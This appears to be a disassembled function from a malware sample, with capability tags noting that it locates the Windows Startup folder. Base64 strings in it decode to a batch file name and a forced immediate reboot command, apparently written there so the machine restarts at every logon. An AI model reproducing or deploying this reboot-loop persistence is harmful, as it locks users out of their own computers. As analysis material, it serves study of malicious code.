Function at 0x4018b0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40515d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x270
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Y29ja3RhaWwuYmF0
lea ecx, [ebp - 0x1b0]
call fcn.00402f10
push str.c2h1dGRvd24gL3IgL2YgL3QgMA
lea ecx, [ebp - 0x198]
mov dword [ebp - 4], 0
call fcn.00402f10
xorps xmm0, xmm0
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x128], esi
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x124], edi
mov byte [ebp - 0x138], 0
lea eax, [ebp - 0x120]
mov byte [ebp - 4], 2
push eax
push esi
push esi
push 7
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x40197c
push 0x4036e0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Error:_Could_not_locate_Startup_directory_
call fcn.004034c0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x401e1d
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x27c]
call fcn.00402f10
lea ecx, [ebp - 0x138]
cmp ecx, eax
je 0x4019cc
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x128], xmm0
mov esi, dword [ebp - 0x128]
mov edi, dword [ebp - 0x124]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x268]
cmp ecx, 0xf
jbe 0x401a08
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4019fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4019fe
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404192
add esp, 8
lea edx, [ebp - 0x1b0]
lea ecx, [ebp - 0x180]
call fcn.00401610
lea edx, [ebp - 0x198]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x168]
call fcn.00401610
mov eax, 0x7fffffff
mov byte [ebp - 4], 4
sub eax, esi
cmp eax, 1
jb 0x401edf
cmp edi, 0xf
mov dword [ebp - 0x26c], 0
lea ecx, [esi + 1]
mov dword [ebp - 0x268], 0
lea edx, [ebp - 0x138]
mov dword [ebp - 0x280], ecx
cmova edx, dword [ebp - 0x138]
lea edi, [ebp - 0x27c]
mov esi, 0xf
mov dword [ebp - 0x264], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x27c], xmm0
cmp ecx, esi
jbe 0x401b0a
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401ac4
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.0040404d
add esp, 4
test eax, eax
je 0x401c24
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401af8
mov eax, 0x16
cmp esi, eax
cmovb esi, eax
lea eax, [esi + 1]
test eax, eax
jne 0x401ad9
xor edi, edi
jmp 0x401b04
cmp eax, 0x1000
jb 0x401aed
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x401ee4
jmp 0x401aa8
push eax
call fcn.0040404d
add esp, 4
mov edi, eax
mov edx, dword [ebp - 0x264]
mov ecx, dword [ebp - 0x280]
mov dword [ebp - 0x27c], edi
mov dword [ebp - 0x268], esi
mov esi, dword [ebp - 0x128]
push esi
push edx
push edi
mov dword [ebp - 0x26c], ecx
call sub.VCRUNTIME140.dll_memcpy
mov byte [esi + edi], 0x5c
add esp, 0xc
mov byte [edi + esi + 1], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0xf
mov esi, dword [ebp - 0x268]
mov eax, esi
cmova ecx, dword [ebp - 0x180]
mov edi, dword [ebp - 0x170]
mov edx, dword [ebp - 0x26c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x401b95
lea eax, [edi + edx]
cmp esi, 0xf
mov dword [ebp - 0x26c], eax
lea eax, [ebp - 0x27c]
cmova eax, dword [ebp - 0x27c]
lea esi, [eax + edx]
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x27c]
jmp 0x401bae
mov byte [ebp - 0x264], 0
lea ecx, [ebp - 0x27c]
push dword [ebp - 0x264]
push edi
call fcn.004039c0
mov dword [ebp - 0x140], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x13c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x150], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x140], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x268]
cmp ecx, 0xf
jbe 0x401c34
mov edx, dword [ebp - 0x27c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401c2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401c2a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404192
add esp, 8
push 0xb0
lea eax, [ebp - 0x260]
mov dword [ebp - 0x26c], 0
push 0
push eax
mov dword [ebp - 0x268], 0xf
mov byte [ebp - 0x27c], 0
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x13c], 0xf
lea eax, [ebp - 0x150]
lea ecx, [ebp - 0x260]
cmova eax, dword [ebp - 0x150]
push eax
call fcn.00403250
mov eax, dword [ebp - 0x260]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x260]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x264], eax
mov byte [ebp - 4], 8
cmp dword [ebp - 0x210], 0
je 0x401d07
cmp dword [ebp - 0x154], 0xf
lea edx, [ebp - 0x168]
push dword [ebp - 0x158]
cmova edx, dword [ebp - 0x168]
lea ecx, [ebp - 0x260]
call fcn.00403c10
add esp, 4
lea ecx, [ebp - 0x25c]
call fcn.004031c0
test eax, eax
jne 0x401d0d
push eax
mov eax, dword [ebp - 0x260]
lea ecx, [ebp - 0x260]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
jmp 0x401d0d
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x260]
call fcn.00401ef0
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0xf
jbe 0x401d52
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401d48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb1
push ecx
push edx
call fcn.00404192
add esp, 8
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
cmp ecx, 0xf
jbe 0x401da7
mov edx, dword [ebp - 0x168]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401d9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb1
push ecx
push edx
call fcn.00404192
add esp, 8
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
cmp ecx, 0xf
jbe 0x401dfc
mov edx, dword [ebp - 0x180]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401df2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb1
push ecx
push edx
call fcn.00404192
add esp, 8
mov edi, dword [ebp - 0x124]
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
mov edx, dword [ebp - 0x138]
cmp edi, 0xf
jbe 0x401e4f
lea ecx, [edi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x401e45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb1
push ecx
push edx
call fcn.00404192
add esp, 8
mov ecx, dword [ebp - 0x184]
cmp ecx, 0xf
jbe 0x401e85
mov edx, dword [ebp - 0x198]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e7b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb1
push ecx
push edx
call fcn.00404192
add esp, 8
mov ecx, dword [ebp - 0x19c]
cmp ecx, 0xf
jbe 0x401ec1
mov edx, dword [ebp - 0x1b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401eb7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401eb7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404192
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040403f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401170
call fcn.004010d0
int3